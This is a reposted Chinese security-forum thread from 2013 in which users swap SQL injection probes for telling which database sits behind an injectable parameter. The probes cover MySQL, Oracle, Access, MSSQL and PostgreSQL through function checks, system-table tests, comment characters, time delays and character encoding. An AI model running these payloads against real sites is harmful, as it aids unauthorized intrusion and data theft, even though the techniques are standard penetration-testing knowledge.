中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
0 C- Y8 K8 J2 O
xsser (十根阳具有长短!!) | 2013-02-05 12:36
. s' m% b4 D: r: v0 ]3 G4 ~/ m; Q s
假设这么一个注射点:
) _# P8 ^: s; H) Z7 v: s: i
show.html?id=2
2 m$ L( `5 [5 L$ H3 i1 X
mysql:id=2 and version()>0
5 O" a$ B7 ` ]+ @: W
oracle:id=2 and '1'||'1'='11
4 R) b% A5 ~7 a4 d' A' a4 v# b
其他的欢迎补充
# O1 M; A) q" j) `7 }, g
1#
0 g# y7 I5 }; b, o+ c2 X) n/ S
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
9 v, |6 K7 j, [+ E1 T! F
Access:
* o. q0 X9 z' _1 q/ V6 r0 x! p
aNd aSc(cHr(97))=97
* A) }# F9 z* g4 v. a2 I
and exists(select id from MSysAccessObjects)
0 {( | a" u9 R% E+ P: A2 H5 W
SQL Server:
7 m, P4 I1 v/ X8 {
and exists(select id from sysobjects)
9 A$ C+ t1 _7 Z3 ^: B5 X; D% g
and length(user)>0
4 a( N" {4 n% l9 @, Y3 I/ O
MySQL:
8 D! x( V D! O! Y) Q$ B9 |
and length(user())>0
. ?9 W! P6 n5 ~7 z
2#
& c' k% ]" U1 |0 C
xsser (十根阳具有长短!!) | 2013-02-05 12:48
' I5 O+ K! A% Y, a
@upload 如果这些都不是呢…
4 y X7 J) N F H6 Z
3#
& R. a1 m/ z) ?8 T
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
3 A% e# B& E6 V1 Q, k; Q9 T
@xsser 不快速的,延时注入
/ ~: [# p& [$ h/ Z
不知道这样写对不对
$ H/ \9 l' S* r: x4 _
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
# S$ l) v* D- l4 w0 F0 H; M
mysql:id=2 and select benchmark(1e8,current_date());
& M: d5 q& L% m. T9 W
4#
) T1 e8 J! `) k" j# o8 n
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
* J( N& @7 ?: w5 D$ H8 d
最快的貌似是看报错信息
. {$ g! P# U- @1 R' @% w5 q4 {
oracle error
& m% d- C2 F! e) j6 E, e% \
mssql error
' [. ~+ F; g2 Y. c: V
mysql error
/ q/ y( I; P* _$ q
5#
, s7 l0 [- k( ]9 D# v3 V
Nimda (你们都是坏银~) | 2013-02-05 13:14
2 b& c3 P/ \* n* e
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
5 P6 a* V. c* s
6#
+ y1 q A( a3 [: B+ V, k
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
' @ P( t$ H! Q4 x) J* w
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
$ \- Q1 Y9 U5 p. n( a
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
8 E1 k- c8 t/ V- g9 k, M
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
* m8 ]7 i% I- Q7 k
7#
0 T/ I( s0 p% `0 P# q c
_Evil (HackEnd) | 2013-02-05 13:33
' s0 F) J; Y4 T7 V! Q
PostgreSQL
q* ?% W9 D, \ Y
8#
) @* X8 C8 I6 G, S: S& ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
, m: [( k' j3 h- r7 [
切换编码 and 1=1
$ O4 g3 J8 G* Y/ F4 j* x8 f% O
oracle:
1 o7 f8 |$ X1 B5 P9 ]) j" U
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
/ K9 n' h- z- z
mssql:
% L( g4 j# b+ |8 g+ @
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
& o! ^* w+ a& ?
mysql:
( ?3 a/ j; w' P4 `# o
CHAR(97, 110, 100, 32, 49, 61, 49)
n' ], B7 B" J8 F* ~
9#
* O' l, [4 j. K# ]2 }# {* }
xsser (十根阳具有长短!!) | 2013-02-05 14:31
! Q' M+ f$ K0 X' G+ c9 ^
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
4 _' @% Q4 A0 R; Y. `) A
10#
F) K$ R. M% g3 C
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
2 }' B* ]: ]4 g- `0 i
@xsser 是奇葩数据库类型的么?
. |, v: U( X, w# ~# Q8 u
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
8 m( V, h+ E3 z* e
1.是否可以使用特定的函数来判断,该数据库特有的
8 ?6 l) y& \/ s7 U- m' p* c) [; f6 f
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
+ B. L# M( F' f0 F8 S
3.是否可以编码查询
% y- f; W9 A0 [2 ^4 S7 @. ^
4.是否显可以利用错信息
1 u: y% K( X- G1 Q( C
5.是否存在数据库某些特性辅助判断
2 E( d5 l, K S, ?6 Z' |
个人见解
1 g# {/ [" C0 S- J
11#
O( f0 k6 v6 H# w; Z; `
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
# q5 a* _( J* v3 q
已收藏,mssql可以直接看到错误提示的吧~
& K6 P2 ^, U& y$ J
12#
& M! B; y9 H* E* f; p
Passer_by | 2013-02-05 15:09
L8 O1 B, m* S9 y
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
7 Q) K- f, V9 y0 y0 m- y
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2